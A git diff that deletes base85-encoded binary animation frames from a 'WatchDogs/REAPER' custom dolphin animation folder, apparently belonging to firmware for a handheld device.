z4?#jZOI^j21t43GUZW-0+%WpwXxR%~d$3tG0KY?EA=w7l9$VGLOJQxDcFM`aV8-K5 z1K$Yg>+IyE?lNFLt)QXA2CCL@rGy+w>T}@{lSt~6*){`*MOmK#JmNv{zzTd6xvJ61xE*Fwte6xM^nmSAB0j+rS zQa$mpvb&V}4SquI`PdwvK=bYZ-(ib)NP zB3q=9=Oh_!7H2V1gO`||xA3J=k}mn1Wq)k);uGt~c~TtUTdX?9@9LR7eNRAc$xb?o zs+jblW3Mme7@*JG7Y#gF$f{Ox?v;L{O8G3b{n0u`ZC*=Hh$J70B6Gw|GipLxA6m%a z-6B!#c0I$Yna7ir!#;DL#ljPXhnUo#|9OP9JcaAQ2C#T&wd>c_+|HAn(`t{$LY0iF z-Mb<*PkIETCn(Xzrgz@*W?})8Y$F9iGBRzNcl4%$-Fh6woi3JL(^^Y7<0CYskZ!`) zQnTG1%rlAAE@AHo$Y~mE@BVzhX`y#7mR2Gq(~UbP>+JSY$+9j4?(d zA?U76JFY@vSJpTa&C1egX+();7?aI)Fv!#ypb?g+0TNt*EV{Un7{>Iq{{Q^($1HFh_do>e2`xKBl^IZs@g^WZs3^tAojwS@v}iGiH3MnQMQ^V& z%*JCNL~Gy~UMyDFupmD7EC_46Pajs({y*6o{qEL!Kr!I<0&=m*)9Bt!3q>uEy?L_W z$aCEan*%ey9V$KToGdw`OY9;@Z?(YPL)PLTf-+;*l@k+Np;d`;JRpOyK2LewBis<> zibVq6RmSWqZEJzNHzsNdXeMI?#@e&ym)r(7B&NwPZB<0zwUbeyc=gb$kijdAZ7x*K zNJ>uW>ZJ(IGS)yxN1ZSYh5=bgU1fGdn~;r>^@SZ4-KmY{C0B&q1 z@;6iR>l6|I^$pOd<4{Oncp4`uD3N8OK7B+F37c6$d;n!dI>xIFWT$s|r40 zb%l5ishY($3qhpn{xr$^6@h^Lw>=XpZEjmf(hAdr((F5n$_ z^y>b}CM(|6Nr+Pk+4=c>^FF`# zc^*KdOj&pxEDZnzfnWYrqlh5_`^{r{DCpIrPdn5H^KBr2P)sN?j{vT)JB<^#t=4%Y zXO_9Bdmo;x{q*5eU5j%rjFeXSRRN+c_FmC?aj7;$HMOYj64P~klFd7^B?aZ zyp)pD#IGHqft4S6uNR)WtEtI88nS@aJg=!;e_sucV1cD0V$JhrxvZ$j3J?kd5%#8@0ZbH!OHr^V*8#(0r?n_{5IiQc!fh;>0Xc|VB-lgW4IwuW)PR%NSHJFX)JvOYiK zAnv>xX#owuS3rLR)m%k4Kq!IKeJoqg&Y+rExdCcbTk2Rsoji$ZQ3l`!!RA#P31vsd ztb>HP>deeFmmcsFdQ#^Q7!&}>`-DC%44gq_=Kj}1Motom#kc!b*t&j!)`SRaXc>@VXyGqm!m5xKnIB`NG=_y;nn>glPr4xoMCLY6&*i(EAP&ut;?!R4;_U!2jVIK4pTp?n>|j$hNZf89QH5gr?+_mYZz!C-%7~PZ2*;9NWJ%nUkUSe9iMHz_wPmxaBJ`W41}n({^46* z(W1y;8u&|`jLG0YJ2BnW+KZ=bSy1xFU}PXr4Cdumo<9DWPWS>=9N1Q z0fQ417rGVh;PhJQRv=*;7++8;jzlKR9w hJ+y}(nq~Sx1Bg4sS*{SWGsLQwz! diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_17.bm deleted file mode 100644 index 832b7f5aa28f99a7393a487479b7d907ebc3b531..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWlTZ)h839LIn6^hx{NHLFiCR__c}ABH`EHRoAsm)md_SLnwa;1oR+Bp77;z8^mZjG@(s_}Gw! zsR<M7x6|z&e&6ISjsk_k_xhB>KXqLQTiEB>SY)=RI% zbpP~qjzC6(yCXEcq3{-fxqpsUcIx*P^`KiM8b&^Vp3g^;Mxqck%emnf+W{Y=J+#wa zu>4=^5%*TpcQw+;>s%3|o6y)B4=genG}{da91S>*3FBbk{Df;;3xY|VD9SXb=a+`9 zn1#5KIGgBhg^Ih^E*N(7ly&3eicqspY(6u5(B{F(hbO}i0#q&xmaTGF3;VKrB5*?d}rp5we0AQLtR0791PrWC6#JD{$<3A1H)1Yu^@A z#heOEbA!4CRHwa-3{{bhfDGCpx>ns|2*I{y4@i2(Pr3tRllh)})&F6~~ zJo*&@M&<&Hj2R36vh_xby5Pa z-V8=4F)EVJ7KxFwet*K#_~!@xm^IRfXLr3B6yAuX6Fe_wv+nM-f9mbdJNrUpP6jM2 zTt40VmxNPUgy5nQp!Y^sr@s-%r-L+~rohbTTK#yo30qtWXVIi09N*MaEeE1oDtDk== cW8$%p8d-T$s!vz*uZKdSShVcio#8Y80rSv6*#H0l diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_18.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_18.bm deleted file mode 100644 index ecc8c83989ae8540178242f3bb3d96454ca98728..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWlXZ%i9?7{{MGe}!u;*-@^+H@a)32~-qcI7jwEe#K+7C%SUp!GuKi#)(_dm<&ve zS+8A@qcIt6TAdoRx)o@TfibbKHV4c8u=v8w=*HA2PLs)83>x`Uk@oTSy!$*)p6~PI zdA_i~mGMLc>wxSFWmLmRK>FcZh`Ylpo2I7i(kQU-7h;5LE#^&AGTKEk_RT*Nup=O?lW*J~!sVk&G z%z9(ud%QypbN;+s*jr=ilNthg)p%Y?c>(MOfOFi+a_*#G1Bn9RyNEih`P{i&4mf`B zwWV1lm5{Y@XbQ0$;YQUt8Gxs(CTG9^g$E}AN=}KoqJa1U=zLAkTbmBr`E(k%;|w8^ z!@|ul-E-pO587wHWD^jva5@8wJDX+(sRiw794oLNBhZ+SVP92%>$L~~w zr%TDy**y%&Hkd6JZFcjcbb}zpgA<1Q*6Gn+dS5@v)iMm*y}EdLfCZ3vP6JUwEG;((jvg^*Z-8@u~(K&-xy<5#2i#zmjM200^8yJ|Z^j2TLi|7%9Qit+SEf;`B;yta9YTw=FXso1nSm8miTi(t)ont^=oF+uAvKY)^UNwzXF^nJ`x{ke@!8 zyAc0q_3eA}N_}Xf_sXsN+`?C|^NZ{R zcD{f66N@7fVm|2h!V&%)|+YXla;D> hOZ6}Rf&E(X+&*PjG6!?RGiQ46hAAH&H~s#X{s--MnG*m2 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_19.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_19.bm deleted file mode 100644 index 9fb6b3a05b08f84f5144dbd5d83a0d2cffcccdb8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWmBZ)_8F7zgm@ZdZC8g|%gMW-s7cI@Z=r(V!+8<#twgcUfY0-eDY5FbEMvi5diT z+FNbAZc!ZPDrCH%)|PEQHh2RhgvjQ$2%Csx3EPV$Sk!2h7h6MFaZ4K2)$|2b9_ZZChm*zfu%&alw^(j8MYx9BkFeAz&XrrS-$;3zkV82)3d3|KqkgAhO#k^FOO zBh#>rq+_h!32B`Ec)qNmYZ+Sz*fxYU`w^NYnS$4(FXN3XuZFL5b;- z_4xQ?*@$UJQkS8CvlU}=a0}6yb-5`CANuuE;Yshj`CKK$ySh>PduH^0FrR&jR7Uy5 z4RSFz`dZ9%tzEF{>JLENRw)<7oaVzD?`&O>9y2x+O7jZQ#;x5$+Kq`-0S;>481h z=Fj+t<($uX!3i0jC&KsTK+(*)X-paR0bzn%KHx3 scb~cAQOmiP!h?o`PPkv*NkKG9QBdv968hwK2V)fD(*?Gh9aP-^0kkHhQ2+n{ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_2.bm deleted file mode 100644 index adeec6abbd41913ad71ab432af82b8f833c7514e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 950 zcmV;n14;Y=0I~!B|L|}qd~$K{;9y{Q=>L)d{0EF29H3#zN$wdRfIMJvS;f=Qfyu(* zQA~8w3FHTiULkPkb}%q#bfSYCu1G2%@rB4b5-jMnWt1od<{t@^1IC9!@Iot4_|&3N zB=||_6(MN)ZM8-z1>%mB3@vOZNf+37}A@9uNQ2K2QjzL$ScY$RRNZMhF@s z@`_?89qb$%1Yj8tBmW-{ksM(im>n(?B$8nT<9{EQptLc_ELuSU01xZ`KM$3H1467q zwUDTVBOvV%d3xv>7)Ey`sG?CIP*3qZ=yVtmyl4>tXyg@y04^E8WLb!Xf>lU`K!fON z8cYJKf}}uTRmwnpAaM8v0x=Z9(J~Rus68O?Kmg+@5IIZ+`Mw9FekmcK#x%9-R#)&o zPyF6N0Qh^rJ;zW=yQVDJb?{B)oEDfLn1LO={+ zq5sK#kcGbp9_$8N`{oz=PdoSsdiTg3RuvMy^FQ=^d3|J+5qR(`nUC#X{#_FJVek-G z1TrB#)_?K;)(T+a2?2~!D}eFSpbQ>bO{~HZ1cqyG`tpeX{z&o<4B`<$igX8JVI(0y z=o+}>Vg-!XS4oAx5flyqAcnWbTl;5^*6sWDgT_ZlokQUe8l`$){|*-PK6VH^BO~nF zb^iOl-+SB-8ogG-1B68@o&GPLkG{3Ih(10DTq0AX({)M1@xKiR|Er~VBe2RAQY# z{(uk4zq-7O%fAGdav&G@0DNtm`!Cd9dZ^b20X`3w^Zok02gl>@flIg$2;h9bpTAw+ Y`}^hl@{kTJ1|@(mh-`lM@EHAl;MM@YWdHyG diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_20.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_20.bm deleted file mode 100644 index d5af130f8de916968b004f4a1457bb199beb6d26..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWlYZ%i9?7{{Nx9^<(2=k6@X(6Ae{j-7ETG206@T)TpIHxtU`Ze%06xNKR1Mqfzc zUd(ZH6)17Yn%3wGUBMRGA0j$8c|jC#S;1(GOxcVv!WJEbnPnyz7_vTIpLd^ppM0O^ z#rF%49~MAGWPc$s;?FY!u&=jD`C@O%WT0(8>z_RP?aKe~0)uaJDLLUPu@}GWr^#3v8a6#uL}?E>f_8SUXT0CR+`ecJ^o^ zY$9$KT1HJgpjT|oQgjY+caRwWHuPRBxzg-%&SCRIbJT+#$y2zpIKVhO&a4e08zKek z8?%rIonx!(XmKVnX1AX`P2b1=7SBu!8<{}t<_j}B;2utrg|ExK0o`KUf_lJ4s{HzYc1h-bcDBP4lfYO%<7YRVKeW;x`E z$S;o^T~2p5ceO`Jm7p0Jyn16CPpPu%RgN8u$pmg++5Lp2D=ohAFf$m?VD^L-y`1C- zr^w~*J>`(S_DBbFPD)5cY@aF*@yp+jBu166>XJV6MEh8#DO)_(fh~s4@a{~&u(La> zj!{5GK;bo2h|t+@-?n!_lTA_n%Jh)Q?!WgpUEpRx04X7AB5b>n6I{MZpg>YgF?H+a z{Fg}EPdN-q{b1drzrNM_Mh*D$x~<2Iv)MZnA8&IS=mW)mMsu4z_wQKUPI`BNqA@is z-0+*vzrGEofwC3v;dqRiZTaMQi4%Dq6d~pj=xnO?wSLIQUkSP6rZ}?Fb~j%~*3mPD f4o$cISl!{Uqx=2xd0+QhPw6G6@+{b5>>Kz0lBkVW diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_21.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_21.bm deleted file mode 100644 index 289c5d0c6302033f822690e80cdcc905677fa140..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWlYe@q)?7{{M`x#G23vg=t8Nesu)La#<4^G8h7>^Lf1Pa@r|C&t8oHEu!t!CSU~2mY-fegtG8Aq{Gp-Y3a_V%$6w zQvzIhABn1IM_KG@WVvJ>hk*qp8oY^BNSOyoY9Q)>M&<$D?O*`5F+MeU!H3%M)VH6J zOrq;i9F!-G^`&~ZJWIF=ff6b1Q{Qc%PXAnCkU+$}`q?IsRtb-rz9(jITHB;z$@_#m zg1Tp?LD5&fbiftDyKKPVfkbHY3eB%n@}=Zzm=9*&Uuw3`5guTlEAFAA=A}6YRPdQM$(*I#H zEJ=Wo(DHWp7~zfHyAuB+SDb@|Rr)fzU_=|y$emrKiq zzUx&p*e#0j?@WKq$VB)~$!TEiCDnIC%V`;0y1Hd^{zZG^{vT`fWM~1;7hj8(v$E=a zDwp)>H{Q5< zZn(9hIy~J~EMq`|vvY=pPta3w8W=i8#WaPnrW+k~P)C-o%^ff}WQ9|78$}Re6fY_f zYtQF22Rt$G3D+48Eb8sT3uLEgTB61TKmXQ>vq7x5Y2#NVAfnpeB0YiufWUBR9A`s? zUs@Uok=w4cE3<1i?)Uh>3lxH5!U$KF{b%b*L{$m^7ZTEFzEHaB0x*Drs2H%%T8E}< zYRPW_J6u#XZSO7o;QjmOtr*!Q$~+7o?a*BCy%I|HI~c z&D~Cll_?6??XHiHKJ+);;(|}uI6!J;lzqL^@Wg>{BGJIFHf8>6&PP!aGyV=h(hsBT SHd^s`m$1R}P%W*#EdLKhOr353 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_22.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_22.bm deleted file mode 100644 index 3acfddaaf2be97ea83d930f6eeb06d7e384b09e0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmW-fUrbwd6vxl+*9-jGE$+5l3Hn0Yw1bu`5aoeH6E2rB+UpX#Ywu9^P~X(4n=$ca z6WTI{l?R0i#*nDM+Le}dH3mmyQP|vC|HK5wfW#~gqf7%PI-UF}YmYxXIWM1l&&m0o zlLIZV7k#R(>ma|37@SW>8I)SIbnp2@ZvYRZN3``4A}{hP;u;=%>6L_ghqGw+i@pL@ ztse*A`lJ$N5x~y=nM+hb#K>*8i~fqKlf~JA0nVMYH5}h=(WeRxzU!O~R-ukyGCftg z!|v@d09g+CQlD*3pIGBOnR!05UE^0TheBkP^D|n)gl*&LMqS7!`8 zh}o927$IK1@GjN@VsR5ukJ(+rS4u@@M_f7n+NpY9G_HNz9cuNIFuR+Q=3KFR5u& zb0x7MqO783PsKm5q=vNff3CzU=P(|K^>?LIr>^X7EEpmo<2w$=jxv;vuVCg!V4Iq= zJvB1q9&~RO7r*_&Q}TH0=;M=dw?2!Be}h+dEQ9?Q$1T2i9KZhl{?FCbtpZ~nS~u*5 z{8DJj*->drDMR*Holm~d_T|pC!wO^44G(MASnj*#L(OzV>4zw71qnKKjU!ck2MH4x zWfNY=U7Eb^Jm>=EFxn}&g!VOcUwyfOKaCg}ZL-kZ#z(^J!hQf@fC;ikzFQ#GB8b3* zPiuq#I_n;X zU-cd})2iFm2b^I53gLdgpjr*TJlkE*iKkgzkmS`Hk2N@;83=_|zjO4_54V;YOaQzC zdh9)>@_g4~(m^;Auw0Z}bGhH%tf~T#!3cji#|EnN3wVfov+@Q>H>u^hweBNaZw!Oz ziB3o)zxdBF3jsf0fXN=slsiLCas7x4z{sGapQ#1E)KWJ&H{riG$jwpWa z$2y-?PghJ)kYpqEanCoOcAh?bHRcvYugEVT_hzGSRs2rDR-}p@m@=QYKd8NyP(A1i X6A1~F(Etn(O=jfC* zV)RS$K(m=i>NAuVN!Y9DxnqjvNzYQgOL7szR5H5VrLI!`mtZ54oi@z?hwf7*aWf;y za?HjYzecf^q@|pW2k~qTvwgmqm^s}X(ByZ@>;9&$Nl6aKnxf3L0jw;S&Un6&xb;(l5=w8 z`fH}#Yxj(v8S`|M$Ta@>g^I9ZLd!x6vP$ID6K~F`mf95$)Pt#7+&x~|8EB! zc;w*LOlxc)6hXh7%-pvgIg-{tW15v7SK&sBC5<<0Gqc&ptgZ;k-}?FkX3%HXS8z{A zqM#P$Zg{P{quWOA0wja%c->g1vUE6*ONNchBRx=x6LjK{F{tUybL4a??P=f#N^-uRbWcEOZ zsB?m#v6I&h>|83Z0szm^Fwl9o=8q`_4p{Zwm^TqclfQp>ncZ?x-M)xl=|P1D?Qie$ zvH&W}sD9a>zx@qP?cC-hYo!gYaP9pg9TM%l2q8&J`zBYSXu6E*{3jWF-e_*PqkgG2 z(m&wpx`O>e?a*flf252u3Tm3E#Ty;btJDBkD1|_^$y>ixb+bvZqQC>B1k!16{%jAx zUa;Jn_;RUc8M}@)0hGhDF-*QHc8>FP9zQJafW?bNBCqbBQeB1sE7VZo7EwSV i=V;W&DKBhpPJoq+QyC(oRNvU}iPnTqqyfA%P5FPdp|KSJ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_24.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_24.bm deleted file mode 100644 index 6122c3ca87b4b4aedb16dfdbf5379c9ad75147e7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWlYZ%i9y9LIlm+;vwp>Gdd^aZ4!JZY^k>iF@Ol9`%6UX`s9GnMhPN{}9*3XiSzE zGwC18EL9^^8WT+fY75PgNsNp|W7ZoRknsi>7L3Gzb7c%AnaDs3^zq^4C!go{ zeIPI_*<@`MAB#q#uAm1^`w~jrlgCYVd%o#J!gm-|ciYSbTp_E4ZbePsN~#Pn1>CBp z+lhG*J#V8RSj4UNuX|NZQ#BQ(e!N`7t{HqRZIh9b&}gOuvYd5BcI5P20TE0Cx!gj(svJcP0v$rSB8|4|8_;Rb`;P#vpDJ#(|S+ zJf@<+UN^l-FdMjJOON=pKSvGxJ;E-GkfScK_v~SB$@2dBB1PB6Q?NYWCtk}gF0Jo; z2vM7p*01y%XK?!m+3gx+?^0lSU8h3X+`>6LtSN2|^zYBO0gs-`?S96aISrP7JuS$^ zrIt%WkFsKz7xX>HOHjmGOG_3QD@P}nHs(WwFP~R){)aTs@l_{Z%xc<{A0=WO3{Lln zOd){Mnx6vjxF>$$`+_Sj*`K;&fJ`-;zrOjVeWf*iW2#e50!K}*eR@c_*sD0r=&P1( zl^HlQ+29>(6>g=%?{{!U7+-U6(#q$_2;(fXg63}fqt@yeK&6?CyA7-!VPcfNkcwF< zS;`zkiGwh?6lzYM>ap}FVT+8;LfbTT)zfIJWhuK*7L3!^1ID+$d#u`6D;OkN;Dm`m zM^nvFNrA{Kd;~mjcW(BRd55KvXNtVfzbH*S_-6QVN2F)KxO;%SKTOQNEuHEwWq}_v z0dQsc{5#CU;QIlr^bs03W_)(%+jji~(AMy~PDyar&+XJ5qp0 z>^bO*7FNh(KcPmK1)0qW~=eJ(41{o|8 hKAzk6_bZqvxJX`jZmx{8-hB%*vHqh@h?*b> z!NgZ!%>9V2s}JN4GsB5bKy0NgP2uG7F`gEQM!b2vmEXwi|CI!22;w6(H;b_Kn4A9D&isd`4I~*SYQqD zA3l_$P#SUDgZ%?*s8L<$5)&nVZAe#R25P`Z?0K=+S__^J=sKb!%!eG1?&%8co6zqg zHu;i*B$R%usWbhrcPnOgTlrwiIvls~e_0+ zXBF`{1o;8}>O&vb=PpW&FRM=Xj#T4#ioZ%i}?EV#azr8i+%N^TfW;ujMMU< zN>US<=1;FAmD|&(5(0wN>ilAhYk&Wna&_X6)6LVF@y2&{1~=#Ek=A$XtpO=4AM(lz zPsz(mICE)UZ8;Mo*49@V#j49KUeGDc>+~2^#}xc%s7C=1nzM(`@7&#>V>c=L0w9s_ z6Wjmz*|&h&u$ee1t2jK||Lj;9g#!GrQmM-_{P zzl}foXjYy)@cT>88(PhWTmPzqG);BvYP)e3{dM=#Qaf*&QVyu)*b1J5w}sT472?^+ zu`h>j;|Lgb0gkx~${X7r%>0OZKzm#e?R8qXgQ{V~?cj&LfH{P8MY)hNFk1B6FEv5~ z);qIK5jAho6}ZMh0BLV{Tt=6rWP_~$fS&iMGKy373YTUGC=<~`QLr9`%?uZi$V8s? zd+ZH4hG|5yV=(!xO&^+NuN6Rlby6nUPf@GT29PkYQ0-nda7d0#v+OG360$X=jAnR% zJM$ZW1*$jE2LO7x{07DY9uIj8AmU7a!|={IUCA@8lFejiGl(m3cfO5djca+S`ZeMw zw$)wC$8|gjx%EF;f@Wqu+AA1^zV&--s0D`3`jTb>eIp+pfy8I&LAC*r`9Y}yuX4%n z+3$qTz3hPh0b!uLwujlx{9+&`7BnWm$}zsGuy`SX9F)+s!OM)<4b^fl7#s1j`v$8w O88%>C0;ou5vG5WME_+4mSGh_-dkl|2Q|F z^F8ODo1269?6GYKJ%Msik1#?r4MvE=Cg&joL<=;KJHxFWc7d%!#A`vw*=B_5Eb*7< z2Dq(WjVHanB*rY5EPxv~p+2X*P4s!VYJc>KU&gkiU;YH!|KUN3JyVkS-JAQl9{)oC zek^8}sM5r+ddBtuz){PqLeEJOK&OL;{scf=SDTY6?eqOcbv~ru*)2@7#I$w1wpPdi zP@k?^eY(Bj-aN*)0nB&X0+LG}`xd`9kp(z`JgPtyaWEk74Xpw+QlIE#)Bevt@_5_L z`rcH?A}0g-vpdNJqLtxnt;1`V#H4p`1LjqLZCzN9sZ40RyF;*Sz?Vqva}uV_J6yca z*o2XR-L#3y1JcmfZO)&5guB;9sir9lN_fAWJU3E2Krcs+P_`r4{_FHql5GwwU0n0Khq|Z9o9nTFc2zcCO&l9P&9jR6;`70QReLo z`YhQNNA_XnZIJW?l|_d0^|6~jz#Bm4h{TADN>2*oTL3`xnQmV|LBR31wjcs=rlbOL zXAThlrfm9`{6uo;PnFzg49bux_v)JBb8*n3=1hi1yHWvhkgULGLwU0rDg&D4pJNpO z_hT^Q);>|ZUNvBQC2Gb;kt3^S8t(7mz-^w@5mnWp-^`8wUxK;8|LHEA=TYHbjL_ff z?7V8;a^Fn36@%2Cc5n!wSOi!<6?-~>HEXyq(h|Ekt%paIIsC=d_l|0`4n5C2t4(uT%W zNzL|yQb|(O$SFBr*ZvQeh*EtuaPabFQC)6J zNFN)0BUL2o$uhMmu9m5hF%S3ukI6`>H%)G;s9-5przA@qeyW+0-BgDoN->QVl`030 zen=)5=(uW00Y?b@LE~Sf)pa`UHd9HWl5J%bT1n_*`C24Ouc<}|_)=pes)x!`spVqR zLrRp=ax|iO*XmTSOs1=n0*y#$G^(JybM&mO%A}tiRZA-<6pbi8JN%_XczhWxFDYE* zh{sY78oZ|~yFCpnEh^6Xjp9Ek^Q39-p{j3cT2YAAB}(zt(!NsssAOwYsee{!rDv4h zqy1eFaCfw>ooI9}@zu(yxpDaFwzjQxy1IlPzy5!v^+|{0q`K_;T%$15s=xn!Q*N#u zH7ZwC*6piVE>^4gfAinP<5kGoYVz)G(@9j4{_o}?R}8CFYtqv$x!G2is9+KhzXb+6 zEw$U9sH#?FKD;gZN(~oK-EDU3RMv|M=epVVscUe2{^Q&O1Zyt;a>*Xh5d zTJ^PUD!6F0%`c-;lO3-9rMJ~{kfTzSWNB9_r*{8)zvXQ-sc$D&q=8VRGfUt9|6Tvd zHhD@`N=zUfMpOH)|KIoj{Z`VYSE|+JI2zZl|KAUY0BJQ^R;E=-rEPY=!~ciIrAgG} zx|*$5)Es~U%F3#@ZGZOu4u5+HdaQ8(RW8~y5Cwg8VC(>R08WSi@CSfA0pJe+cmu#5 z0PqKZ3cu^y?Sc0<=+FJUoA^F*z6k&7rVg6jC*hC3=r{l1S>OL)F{w+w9Qps3{Ow9# z>-S%T!ao{%{wM#x2c2H=`q#n%6a)G5*W!o6zm;Kx9oSQczW`=)~W7e-k$SM)h+nA za`LIwSJkFwNSFpzX1;2Ecr|rXh}XLAum7)ip9=5f;Pv)aS@qIr{`tRu;!0yYHMU0T zgslD_|Ao2ze>X2@LGa?$tFoM(SF=wrNtqP2R?Edv?)!gF7fJqq!BekFAI}cCe$sC1 z&%EVF?6szOgqW<=En5BU^EK7jfQpxy9*wy@LD{SRT`k?JH+8FBsAES1d$85|Td#Ml zTmJud_>@b*k9uV1u6myq#W!vB@AJ)GtCyXM+FHA=?95<*T>-{vLWe@A@x(uWhSNXMbx7U|8;W z>(~ARzqY^3O-W{O`yaZEKZ3#I6vGGh1{=l){0tS$2jmEF7`}d}&pNpC{qJiBw|>9; z&^9Wd^)9sS$Iyw;oYaW?&9ey07h;eZOm%l->{1!UM6WM#VkGe2!?s9@~&{`mL5 b;2-uTc8)1xVT=bJ|5EC}=Au@GuCZ z_LI_;N@SFPafil9kkDr!5KImW0pJIut^opwMrljAfCA;sATkWZ0xkIZgWE>{iTyp`a`S`R z$3SQdV$5H>qhurozZ~s?ce1_ja?N`+H@>}WG^OJc8wSEB*fE-8r zifAw8kT3`$JZM+XWV9Zi!+6mmDDi-IIil721I8hMm_;Z%&gK99F+b9LXcbw+BO(0O z|MuT@5r4n*I3$8O9FX?|>e^Y1?mqJfp2^K|F5)uA`*egG!Qsu1NmL!>FVFw{d68Zd{2s38G=(+teYueZ+@red=)uEqCKeqk&eJ||slGtef&admY)d!BQmEyC) zAe2rl0{MRZZ~4LV_)x*)K*3dSH{b97)(;$Blfgj;j1tjgxo=s6>K6={J~kXcKxjP5 z=sdi>_#Q4v@wkV|LD;j;f4zQR-cv52d?)aTN0Rf_t>3@Bzj%CMaSy;eV3JK&vj2TY zkLT}E*Fgd02*OAxxBvh1)6IcEU=R<)J{bi5fA4$$=jW&Gp##hL2N#LxdiVeD_uJo~ z1I7jZfx>GjsUzk26=zJ_h0RP_16WA!iyq_LLn{j^56Qf|4#T?Gz2m1{=5I(->0qW XcIgo+hv#3UztKD&zg>P?LA_nTq1VX5 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_30.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_30.bm deleted file mode 100644 index 1ae586f6b479bf09db07ca2ce1dfbac0e1b7f3fc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 110 ccmZQ%$YS{4V8i%;pP_>JfE>dIb{cXR079D~O8@`> diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_31.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_31.bm deleted file mode 100644 index 1ae586f6b479bf09db07ca2ce1dfbac0e1b7f3fc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 110 ccmZQ%$YS{4V8i%;pP_>JfE>dIb{cXR079D~O8@`> diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_4.bm deleted file mode 100644 index 26a26f12f8eb2dc5b66907835a427a39aca22d28..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 883 zcmV-(1C0Cu0B-~T|KMOjpjRLn2owY03lIV7@Q{f_c1s1+YQ8}Afy5{jEz|<(6M%mK z>q~(`VinphCJ9OZ1J)0rAC7VnB&t9G?U#&XaFs|7QlZcXFaHm$g2*FPtL=k`4{jaW z1AvZEDjW}pJ+g2rObaQH|9Af2_QAnmIS6K#fByZ0-wy(URw-X?U-TZ(xTZrvn#h0k z;N}O80s(OU-@&c`8N7yx0)${cUGRI>+amyuKnJb>AAE)(0EAsX;rRc;ATXF@KtDhD z1rh-m#DBWr=iktw5C~-x|EvFqpDB{1Ln>eTU;W;|1fTygpy+@^i{pU)W0FcV8~ggZJ< z_`rLb!~qnNFCfCeBA5>6ey{fL|9AV)c);-zfcU_>y4nAJ+}t2}8-#v1P2+%XU%lP` z_757JCM$u4P(PjQe_vhx_v?e@AfQ4c6AR}5Pj0&Y>*4a-!(lQAW&>IJq4xFP-rsb7 zkQk%_sr967uU~uq+#Wi;BK)8lPZtMMr2QA#l^B3YEnIv*Z8$ric>3znQ29VG6bs!$ z^Z%-c(iK>MWjIiZ^;h@ro3#g9q=7&o5J@F&qrB68yJqpAm$>+Ylb*Efwn zeJTiyA`tEclY>R#t9&RK?CFd{rj$_;RuYLRDc)+1b#cu_tw^4AD@5w4}d#`K3`8) zCvF`WSF3*?9*TW>_VIY${k!mRkHkKG{at_i?|%&ZcrNtnZS{BKaPPaixCDUyol1VF z9yoi(&Id?@ds4&i`P={dYv=ZZ`p-bagZ$6=JFrcLf7kco%X+^V6a+dly-mIoX#f3p z`}=P0-rXJF{)@=J>il2-UEcvfux}t$PygB_qT4|^AOD?R*MXqX@qf+z;{yQC>Ucr% J-QuNRtH9?*%8vj5 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_5.bm deleted file mode 100644 index ceb66aa02257f808394168fea672e2ec6cbeea2c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 899 zcmV-}1AP1e0DlAj|M+kS4FdVV;6R|i;8=hU7ZQZTF}x^TA3P3U{+|Oup+_YWc=wA@AS+*xT^E<#L#Yrc?dKhoApDi3`S|{O1Sa ze&86y2m8#wgAhu3qj=Cip38Y0fCBX&-FN>0gkZOr-|qL`A3-@lV~`H+>PP>*j8j*? z4~$X?tk&Pd!u1`o`2ScKWh1%V-|o80MEBSK@`yx0jy?Z<^fo2q@BfG6K;D0I^{;R1 zzqJpSfBHWd2lu~E`;P>MU;X`m@d1WFFQ42!R@&hb0eAHOs06YBl;2QyU9Z>v>JKeP z<3kvLRX$J}An?1OA^HFO5DsJxDPg7TD!;G1+#Xu~BnLAAvUmDci%0ifA0&A6pqRm6 z#1v1r%5088Q zKkz_Dh&{T2jnsx6UQ*1E3$B60`Na|GfYIuYx}AA^HD$-+%wV 